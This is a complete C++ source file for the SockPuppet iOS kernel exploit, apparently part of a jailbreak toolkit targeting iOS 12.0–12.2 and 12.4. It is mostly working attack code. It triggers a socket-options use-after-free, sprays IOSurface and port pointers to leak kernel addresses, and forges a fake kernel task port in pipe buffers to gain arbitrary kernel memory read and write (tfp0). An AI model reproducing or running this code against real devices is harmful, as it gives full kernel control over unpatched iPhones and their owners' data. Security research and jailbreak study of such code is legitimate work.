|
// |
|
// SockPuppet.cpp |
|
// |
|
// Created by Umang Raghuvanshi on 02/08/19. |
|
// Copyright © 2019 Umang Raghuvanshi. All rights reserved. Licensed under the |
|
// BSD 3-clause license. |
|
|
|
// Redistribution and use in source and binary forms, with or without |
|
// modification, are permitted provided that the following conditions are met: |
|
// 1. Redistributions of source code must retain the above copyright notice, |
|
// this list of conditions and the following disclaimer. |
|
// 2. Redistributions in binary form must reproduce the above copyright notice, |
|
// this list of conditions and the following disclaimer in the documentation |
|
// and/or other materials provided with the distribution. |
|
// 3. Neither the name of the copyright holder nor the names of its contributors |
|
// may be used to endorse or promote products derived from this software without |
|
// specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT |
|
// HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, |
|
// INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND |
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE |
|
// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, |
|
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT |
|
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, |
|
// OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF |
|
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING |
|
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, |
|
// EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. |
|
|
|
#include "../Log.hpp" |
|
#include "SockPuppet3.hpp" |
|
|
|
#define MAX_ATTEMPTS 50000 |
|
#define IPV6_USE_MIN_MTU 42 |
|
#define IPV6_PKTINFO 46 |
|
#define IPV6_PREFER_TEMPADDR 63 |
|
|
|
extern "C" { |
|
#include "../Include/External/iosurface.h" |
|
} |
|
|
|
// MARK: UAF helpers |
|
|
|
namespace Exploits { |
|
namespace SockPuppetSupport { |
|
class Socket { |
|
const int descriptor; |
|
|
|
public: |
|
Socket() : descriptor(socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP)) { |
|
// Create the socket we'll use for the UAF. |
|
if (descriptor < 0) throw std::runtime_error("Failed to create a socket"); |
|
|
|
// Allow setting options even socket is closed. |
|
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, |
|
.npx_mask = SONPX_SETOPTSHUT}; |
|
if (setsockopt(descriptor, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, |
|
sizeof(sonpx)) != 0) |
|
throw std::runtime_error("Failed to set SO_NP_EXTENSIONS"); |
|
} |
|
|
|
Socket(const Socket &other) = delete; |
|
|
|
int getMinMtu() { |
|
int minmtu; |
|
socklen_t sz = sizeof(minmtu); |
|
if (getsockopt(descriptor, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, &sz) != |
|
0) |
|
throw std::runtime_error("getsockopt failed"); |
|
|
|
return minmtu; |
|
} |
|
|
|
void setMinMtu(int *minmtu) { |
|
if (setsockopt(descriptor, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, |
|
sizeof(*minmtu)) != 0) |
|
throw std::runtime_error("setsockopt failed"); |
|
} |
|
|
|
int getPreferTempAddr() { |
|
int prefertempaddr; |
|
socklen_t sz = sizeof(prefertempaddr); |
|
if (getsockopt(descriptor, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, |
|
&prefertempaddr, &sz) != 0) |
|
throw std::runtime_error("getsockopt failed"); |
|
|
|
return prefertempaddr; |
|
} |
|
|
|
std::unique_ptr<uint8_t[]> getPktInfo() { |
|
std::unique_ptr<uint8_t[]> buf(new uint8_t[sizeof(in6_pktinfo)]); |
|
socklen_t sz = sizeof(in6_pktinfo); |
|
|
|
if (getsockopt(descriptor, IPPROTO_IPV6, IPV6_PKTINFO, buf.get(), &sz) != 0) |
|
throw std::runtime_error("getsockopt failed"); |
|
|
|
return buf; |
|
} |
|
|
|
void setPktInfo(void *pktinfo) { |
|
if (setsockopt(descriptor, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, |
|
sizeof(struct in6_pktinfo)) != 0) |
|
throw std::runtime_error("setsockopt failed"); |
|
} |
|
|
|
//! This is the bug trigger — the options for the socket will now dangle in |
|
//! the kernel's address space. |
|
void dangle() { |
|
int minmtu = -1; |
|
setMinMtu(&minmtu); |
|
if (disconnectx(descriptor, 0, 0) != 0) |
|
throw std::runtime_error("disconnectx failed"); |
|
} |
|
|
|
~Socket() { |
|
if (descriptor > 0) close(descriptor); |
|
} |
|
}; |
|
|
|
typedef ssize_t (*read_t)(int fildes, void *buf, size_t nbyte); |
|
read_t libc_read = read; |
|
typedef ssize_t (*write_t)(int fildes, const void *buf, size_t nbyte); |
|
write_t libc_write = write; |
|
|
|
class Pipe { |
|
int fds[2]; |
|
|
|
public: |
|
Pipe() { |
|
if (pipe(fds) != KERN_SUCCESS) |
|
throw std::runtime_error("Failed to create a pipe"); |
|
} |
|
|
|
Pipe(const Pipe &other) = delete; |
|
|
|
int getReadDescriptor() const { return fds[0]; }; |
|
int getWriteDescriptor() const { return fds[1]; }; |
|
|
|
size_t read(void *buf, size_t sz, bool balance = false) const { |
|
ssize_t numRead; |
|
if ((numRead = libc_read(getReadDescriptor(), buf, sz)) < 0) |
|
throw std::runtime_error("Failed to read from pipe"); |
|
|
|
if (balance && |
|
libc_write(getWriteDescriptor(), buf, static_cast<size_t>(numRead)) < 0) |
|
throw std::runtime_error("Balancing write failed"); |
|
|
|
return static_cast<size_t>(numRead); |
|
} |
|
|
|
size_t write(void *buf, size_t sz, bool balance = false) const { |
|
ssize_t numWritten; |
|
if ((numWritten = libc_write(getWriteDescriptor(), buf, sz)) < 0) |
|
throw std::runtime_error("Failed to write to pipe"); |
|
|
|
if (balance && libc_read(getReadDescriptor(), buf, |
|
static_cast<size_t>(numWritten)) < 0) |
|
throw std::runtime_error("Balancing read failed"); |
|
|
|
return static_cast<size_t>(numWritten); |
|
} |
|
|
|
~Pipe() { |
|
close(fds[0]); |
|
close(fds[1]); |
|
} |
|
}; |
|
} // namespace SockPuppetSupport |
|
} // namespace Exploits |
|
|
|
using namespace Exploits::SockPuppetSupport; |
|
|
|
static inline uint32_t mach_port_waitq_flags() { |
|
union waitq_flags waitq_flags = {}; |
|
waitq_flags.waitq_type = WQT_QUEUE; |
|
waitq_flags.waitq_fifo = 1; |
|
waitq_flags.waitq_prepost = 0; |
|
waitq_flags.waitq_irq = 0; |
|
waitq_flags.waitq_isvalid = 1; |
|
waitq_flags.waitq_turnstile_or_port = 1; |
|
return waitq_flags.flags; |
|
} |
|
|
|
uint64_t SockPuppet::leakPipeBufferAddress(int fd, uint64_t *bufferptr) { |
|
auto const proc = earlyRead64( |
|
currentTaskAddr + m_parameters.get(StructureOffset::Task_BSDInfo)); |
|
|
|
auto const fds = |
|
earlyRead64(proc + m_parameters.get(StructureOffset::Proc_PFD)); |
|
auto const ofiles = |
|
earlyRead64(fds + m_parameters.get(FileDescriptor_FDOfiles)); |
|
auto const fproc = earlyRead64(ofiles + fd * 8); |
|
auto const fglob = earlyRead64(fproc + m_parameters.get(FileProc_FGlob)); |
|
auto const fgdata = |
|
earlyRead64(fglob + m_parameters.get(StructureOffset::FileGlob_FGData)); |
|
if (bufferptr) |
|
*bufferptr = fgdata + m_parameters.get(StructureOffset::FGData_PipeBuffer); |
|
|
|
return earlyRead64(fgdata + |
|
m_parameters.get(StructureOffset::FGData_PipeBuffer)); |
|
} |
|
|
|
uint64_t SockPuppet::leakPortAddress(mach_port_t portname) { |
|
Socket socket; |
|
socket.dangle(); |
|
|
|
for (int i = 0; i < MAX_ATTEMPTS; i++) { |
|
// Options are 192 bytes long, so we must spray 192/sizeof(ptr) pointers to |
|
// the current port. |
|
mach_port_t holder = Utility::sprayPortPointer( |
|
portname, 192 / sizeof(size_t), MACH_MSG_TYPE_COPY_SEND); |
|
const int mtu = socket.getMinMtu(); |
|
const int preferTempAddr = socket.getPreferTempAddr(); |
|
|
|
if (mtu < 0xffffff00 || mtu == 0xffffffff || preferTempAddr == 0xdeadbeef || |
|
preferTempAddr == 0) { |
|
mach_port_destroy(mach_task_self(), holder); |
|
continue; |
|
} |
|
|
|
uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | |
|
((uint64_t)preferTempAddr & 0x00000000ffffffff); |
|
|
|
mach_port_destroy(mach_task_self(), holder); |
|
return ptr; |
|
} |
|
throw std::runtime_error("Failed to leak port address"); |
|
} |
|
|
|
std::unique_ptr<uint8_t[]> SockPuppet::leak20AndFree(uint64_t address, |
|
bool free) { |
|
// Create a bunch of sockets with dangling options. |
|
std::vector<Socket> socketsWithDanglingOptions(128); |
|
struct ip6_pktopts fakeOptions = {0}; |
|
fakeOptions.ip6po_minmtu = 0xcafebabe; |
|
fakeOptions.ip6po_pktinfo = (struct in6_pktinfo *)address; |
|
for (auto &s : socketsWithDanglingOptions) s.dangle(); |
|
|
|
while (true) { |
|
IOSurface_init(); |
|
if (!IOSurface_spray_with_gc(32, 256, &fakeOptions, sizeof(fakeOptions), |
|
NULL)) |
|
throw std::runtime_error("IOSurface spray failed"); |
|
|
|
for (auto &s : socketsWithDanglingOptions) { |
|
if (s.getMinMtu() == 0xcafebabe) { |
|
std::unique_ptr<uint8_t[]> buf = s.getPktInfo(); |
|
if (free) { |
|
in6_pktinfo nullPktInfo = {0}; |
|
s.setPktInfo((void *)&nullPktInfo); |
|
} |
|
|
|
IOSurface_deinit(); |
|
return buf; |
|
} |
|
} |
|
IOSurface_deinit(); |
|
} |
|
} |
|
|
|
uint64_t SockPuppet::earlyRead64(uint64_t address) { |
|
std::unique_ptr<uint8_t[]> buf = leak20AndFree(address); |
|
auto u64 = *(uint64_t *)buf.get(); |
|
return u64; |
|
} |
|
|
|
static inline uint32_t stage1Read32(Pipe &pipe, mach_port_t fakeTask, |
|
uint64_t addr, const Parameters ¶ms) { |
|
uint8_t buffer[sizeof(kport_t) + sizeof(ktask_t)]; |
|
if (pipe.read(buffer, sizeof(buffer)) != sizeof(buffer)) |
|
throw std::runtime_error("Pipe read failed"); |
|
|
|
*(uint64_t *)((uint64_t)buffer + sizeof(kport_t) + |
|
params.get(StructureOffset::Task_BSDInfo)) = |
|
addr - params.get(StructureOffset::Proc_PPID); |
|
|
|
if (pipe.write(buffer, sizeof(buffer)) != sizeof(buffer)) |
|
throw std::runtime_error("Pipe buffer write failure"); |
|
|
|
int pid; |
|
pid_for_task(fakeTask, &pid); |
|
return static_cast<uint32_t>(pid); |
|
} |
|
|
|
static inline uint64_t stage1Read64(Pipe &pipe, mach_port_t fakeTask, |
|
uint64_t addr, const Parameters ¶ms) { |
|
uint64_t high = stage1Read32(pipe, fakeTask, addr + 0x4, params); |
|
uint32_t low = stage1Read32(pipe, fakeTask, addr, params); |
|
return (high << 32) | low; |
|
} |
|
|
|
static inline uint64_t rk64(task_t vmMap, uint64_t addr) { |
|
uint64_t data, size; |
|
if (mach_vm_read_overwrite(vmMap, (mach_vm_address_t)addr, |
|
(mach_vm_size_t)sizeof(data), |
|
(mach_vm_address_t)&data, &size) != KERN_SUCCESS || |
|
size != sizeof(data)) |
|
throw std::runtime_error("read64 failed"); |
|
return data; |
|
} |
|
|
|
static inline void wk64(task_t vmMap, uint64_t addr, uint64_t val) { |
|
if ((mach_vm_write(vmMap, (mach_vm_address_t)addr, (vm_offset_t)&val, 8)) != |
|
KERN_SUCCESS) |
|
throw std::runtime_error("write64 failed"); |
|
} |
|
|
|
static inline void wk32(task_t vmMap, uint64_t addr, uint32_t val) { |
|
if ((mach_vm_write(vmMap, (mach_vm_address_t)addr, (vm_offset_t)&val, 4)) != |
|
KERN_SUCCESS) |
|
throw std::runtime_error("write32 failed"); |
|
} |
|
|
|
static inline uint64_t lookupPort(task_t vmMap, uint64_t currentTask, |
|
mach_port_t target, const Parameters ¶ms, |
|
bool null = false) { |
|
const uint64_t itkSpace = |
|
rk64(vmMap, currentTask + params.get(Task_ITKSpace)); |
|
const uint64_t isTable = rk64(vmMap, itkSpace + params.get(IPCSpace_ISTable)); |
|
const uint32_t idx = target >> 8; |
|
const uint64_t portAddr = |
|
rk64(vmMap, isTable + (idx * params.get(IPCSpace_ISTableSize))); |
|
|
|
if (null) { |
|
wk64(vmMap, isTable + (idx * params.get(IPCSpace_ISTableSize)), 0); |
|
wk32(vmMap, isTable + (idx * params.get(IPCSpace_ISTableSize)) + 8, 0); |
|
} |
|
|
|
return portAddr; |
|
} |
|
|
|
SockPuppet::SockPuppet(const HostInfo &hostInfo, const Parameters ¶meters) |
|
: KernelExploit(hostInfo, parameters) {} |
|
|
|
bool SockPuppet::isCompatible() const { |
|
const int version = m_hostInfo.integerVersion(); |
|
return (version < Versions::k12_3 && version >= Versions::k12_0) || |
|
version == Versions::k12_4; |
|
} |
|
|
|
bool SockPuppet::canRerun() const { return true; } |
|
|
|
bool SockPuppet::canReturnFakeTFP0() const { return true; } |
|
|
|
bool SockPuppet::run() { |
|
info("Running the SockPuppet exploit"); |
|
|
|
uint64_t ownTaskPortKaddr = leakPortAddress(mach_task_self()); |
|
currentTaskAddr = earlyRead64( |
|
ownTaskPortKaddr + m_parameters.get(StructureOffset::IPCPort_IPKObject)); |
|
debug("Current task: %p", currentTaskAddr); |
|
uint64_t ipcSpaceKernel = |
|
earlyRead64(ownTaskPortKaddr + m_parameters.get(IPCPort_IPReceiver)); |
|
debug("Kernel's IPC space: %p", ipcSpaceKernel); |
|
m_progress += 5; |
|
|
|
Pipe portPointerOverwritePipe, fakePortPipe; |
|
|
|
uint8_t pipebuf[0x10000] = {0}; |
|
// Force allocation. |
|
portPointerOverwritePipe.write(pipebuf, sizeof(pipebuf), true); |
|
portPointerOverwritePipe.write(pipebuf, 8); |
|
|
|
auto const fakeSize = sizeof(kport_t) + sizeof(ktask_t); |
|
char portAndTaskBuffer[fakeSize] = {0}; |
|
auto fakePort = (kport_t *)portAndTaskBuffer; |
|
auto fakeTask = (ktask_t *)((uint8_t *)fakePort + sizeof(kport_t)); |
|
|
|
fakeTask->ref_count = 0xff; |
|
|
|
fakePort->ip_bits = IO_BITS_ACTIVE | IKOT_TASK; |
|
fakePort->ip_references = 0xf00d; |
|
fakePort->ip_lock.type = 0x11; |
|
fakePort->ip_messages.port.receiver_name = 1; |
|
fakePort->ip_messages.port.msgcount = 0; |
|
fakePort->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE; |
|
fakePort->ip_messages.port.waitq.flags = mach_port_waitq_flags(); |
|
fakePort->ip_srights = 99; |
|
fakePort->ip_receiver = ipcSpaceKernel; |
|
|
|
fakePortPipe.write((void *)fakePort, fakeSize, true); |
|
uint64_t pipePtr; |
|
|
|
uint64_t portPointerOverwritePipeKaddr = leakPipeBufferAddress( |
|
portPointerOverwritePipe.getReadDescriptor(), &pipePtr); |
|
uint64_t fakePortBufferKaddr = |
|
leakPipeBufferAddress(fakePortPipe.getReadDescriptor()); |
|
|
|
debug("Pipe buffer %i: %p", portPointerOverwritePipe.getReadDescriptor(), |
|
portPointerOverwritePipeKaddr); |
|
debug("Pipe buffer %i: %p", fakePortPipe.getReadDescriptor(), |
|
fakePortBufferKaddr); |
|
|
|
// Fix ip_kobject. |
|
fakePort->ip_kobject = fakePortBufferKaddr + sizeof(kport_t); |
|
fakePortPipe.write((void *)fakePort, fakeSize); |
|
|
|
mach_port_t dummyKernelTaskPort = MACH_PORT_NULL; |
|
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, |
|
&dummyKernelTaskPort); |
|
if (!MACH_PORT_VALID(dummyKernelTaskPort) || |
|
mach_port_insert_right(mach_task_self(), dummyKernelTaskPort, |
|
dummyKernelTaskPort, |
|
MACH_MSG_TYPE_MAKE_SEND) != KERN_SUCCESS) |
|
throw std::runtime_error("tfp0 allocation failed"); |
|
const uint64_t tfp0Kaddr = leakPortAddress(dummyKernelTaskPort); |
|
debug("Dummy kernel task port: %p", tfp0Kaddr); |
|
m_progress += 20; |
|
|
|
// Free the first pipe. |
|
leak20AndFree(portPointerOverwritePipeKaddr, true); |
|
mach_port_t holder = MACH_PORT_NULL; |
|
uint64_t leak = 0; |
|
for (int i = 0; i < MAX_ATTEMPTS; i++) { |
|
// Spray 0x10000/8 port pointers so that they get reallocated in place of |
|
// the first pipe. |
|
holder = Utility::sprayPortPointer(dummyKernelTaskPort, 0x10000 / 8, |
|
MACH_MSG_TYPE_COPY_SEND); |
|
portPointerOverwritePipe.read(&leak, sizeof(leak), true); |
|
|
|
if (leak == tfp0Kaddr) break; |
|
mach_port_destroy(mach_task_self(), holder); |
|
} |
|
if (leak != tfp0Kaddr) throw std::runtime_error("Failed to reallocate"); |
|
|
|
m_progress += 30; |
|
portPointerOverwritePipe.write(&fakePortBufferKaddr, |
|
sizeof(fakePortBufferKaddr)); |
|
debug("Port pointer overwritten"); |
|
|
|
char sendRightBuffer[0x1000] = {0}; |
|
auto fakePortSendRightMsg = (struct ool_msg *)sendRightBuffer; |
|
const kern_return_t didRecv = |
|
mach_msg(&fakePortSendRightMsg->hdr, MACH_RCV_MSG, 0, 0x1000, holder, |
|
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); |
|
if (didRecv != KERN_SUCCESS) |
|
throw std::runtime_error("Failed to recieve send rights to fake port"); |
|
|
|
mach_port_t pipeFakeKernelTaskPort = |
|
((mach_port_t *)fakePortSendRightMsg->ool_ports.address)[1]; |
|
if (!MACH_PORT_VALID(pipeFakeKernelTaskPort) || |
|
pipeFakeKernelTaskPort == dummyKernelTaskPort) |
|
throw std::runtime_error("Fake kernel task port is invalid"); |
|
|
|
uint64_t structTask = stage1Read64( |
|
fakePortPipe, pipeFakeKernelTaskPort, |
|
ownTaskPortKaddr + m_parameters.get(StructureOffset::IPCPort_IPKObject), |
|
m_parameters); |
|
if (structTask != currentTaskAddr) |
|
throw std::runtime_error("Stage 1 read64 failed"); |
|
debug("Stage 1 read64 succeeded"); |
|
|
|
uint64_t kernelVMMap = 0; |
|
while (structTask) { |
|
uint64_t bsdInfo = stage1Read64( |
|
fakePortPipe, pipeFakeKernelTaskPort, |
|
structTask + m_parameters.get(StructureOffset::Task_BSDInfo), |
|
m_parameters); |
|
if (!bsdInfo) throw std::runtime_error("Stage 1 read64 failed"); |
|
|
|
uint32_t pid = stage1Read32( |
|
fakePortPipe, pipeFakeKernelTaskPort, |
|
bsdInfo + m_parameters.get(StructureOffset::Proc_PPID), m_parameters); |
|
if (pid == 0) { |
|
kernelVMMap = |
|
stage1Read64(fakePortPipe, pipeFakeKernelTaskPort, |
|
structTask + m_parameters.get(Task_VMMap), m_parameters); |
|
if (!kernelVMMap) throw std::runtime_error("Stage 1 read64 failed"); |
|
break; |
|
} |
|
structTask = |
|
stage1Read64(fakePortPipe, pipeFakeKernelTaskPort, |
|
structTask + m_parameters.get(Task_Prev), m_parameters); |
|
} |
|
if (!kernelVMMap) throw std::runtime_error("Failed to find kernel's VM map"); |
|
debug("Kernel VM map: %p", kernelVMMap); |
|
|
|
fakePortPipe.read((void *)fakePort, fakeSize); |
|
fakeTask->lock.data = 0; |
|
fakeTask->lock.type = 0x22; |
|
fakeTask->ref_count = 0xff; |
|
fakeTask->active = 1; |
|
fakeTask->map = kernelVMMap; |
|
*(uint32_t *)((uint64_t)fakeTask + m_parameters.get(Task_ITKSelf)) = 1; |
|
fakePortPipe.write((void *)fakePort, fakeSize); |
|
|
|
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, |
|
&kernelTaskPort); |
|
if (!MACH_PORT_VALID(kernelTaskPort) || |
|
mach_port_insert_right(mach_task_self(), kernelTaskPort, kernelTaskPort, |
|
MACH_MSG_TYPE_MAKE_SEND) != KERN_SUCCESS) |
|
throw std::runtime_error("tfp0 allocation failed"); |
|
|
|
uint64_t stableFakeTask; |
|
if (mach_vm_allocate(pipeFakeKernelTaskPort, &stableFakeTask, sizeof(ktask_t), |
|
VM_FLAGS_ANYWHERE) != KERN_SUCCESS) |
|
throw std::runtime_error("Failed to allocate memory for the fake task"); |
|
if (mach_vm_write(pipeFakeKernelTaskPort, stableFakeTask, |
|
(vm_offset_t)fakeTask, sizeof(ktask_t)) != KERN_SUCCESS) |
|
throw std::runtime_error("Failed to write fake task to kernel memory"); |
|
|
|
const uint64_t kernelTaskPortKaddr = lookupPort( |
|
pipeFakeKernelTaskPort, currentTaskAddr, kernelTaskPort, m_parameters); |
|
debug("Stable kernel task port %i: %p", kernelTaskPort, kernelTaskPortKaddr); |
|
fakePort->ip_kobject = stableFakeTask; |
|
if (mach_vm_write(pipeFakeKernelTaskPort, kernelTaskPortKaddr, |
|
(vm_offset_t)fakePort, sizeof(kport_t)) != KERN_SUCCESS) |
|
throw std::runtime_error( |
|
"Failed to write fake kernel task port to kernel memory"); |
|
|
|
uint64_t testAllocKaddr; |
|
if (mach_vm_allocate(kernelTaskPort, &testAllocKaddr, 8, VM_FLAGS_ANYWHERE) != |
|
KERN_SUCCESS) |
|
throw std::runtime_error("Stable task port isn't working"); |
|
mach_vm_deallocate(kernelTaskPort, testAllocKaddr, 8); |
|
|
|
info("Exploit succeeded, cleaning up"); |
|
wk64(kernelTaskPort, pipePtr, 0); |
|
|
|
// Clean up the port living inside the pipe. |
|
lookupPort(kernelTaskPort, currentTaskAddr, pipeFakeKernelTaskPort, |
|
m_parameters, true); |
|
|
|
info("Cleanup done"); |
|
return true; |
|
} |
|
|
|
const std::string &SockPuppet::status() { return m_hostInfo.buildID(); } |
|
|
|
size_t SockPuppet::readKernelMemory(uint64_t address, uint8_t *buffer, |
|
size_t bufferSize) { |
|
mach_vm_size_t numRead; |
|
const kern_return_t didRead = mach_vm_read_overwrite( |
|
kernelTaskPort, address, bufferSize, (vm_address_t)buffer, &numRead); |
|
if (didRead != KERN_SUCCESS) |
|
throw std::runtime_error("Failed to read kernel memory"); |
|
|
|
return numRead; |
|
} |
|
|
|
size_t SockPuppet::writeKernelMemory(uint64_t address, uint8_t *data, |
|
size_t dataSize) { |
|
auto const toWrite = static_cast<mach_msg_type_number_t>(dataSize); |
|
const kern_return_t didWrite = |
|
mach_vm_write(kernelTaskPort, address, (vm_offset_t)data, toWrite); |
|
if (didWrite != KERN_SUCCESS) |
|
throw std::runtime_error("Failed to write kernel memory"); |
|
|
|
return toWrite; |
|
} |
|
|
|
mach_port_t SockPuppet::getFakeKernelTaskPort() { return kernelTaskPort; } |
|
|
|
uint64_t SockPuppet::leakImagePointer() { |
|
const uint64_t hostPortKaddr = |
|
Utility::findPort(mach_host_self(), currentTaskAddr, m_parameters, *this); |
|
const uint64_t realhostKaddr = |
|
read64(hostPortKaddr + m_parameters.get(IPCPort_IPKObject)); |
|
|
|
return realhostKaddr; |
|
} |
|
|
|
uint64_t SockPuppet::getCurrentTaskAddress() { return currentTaskAddr; } |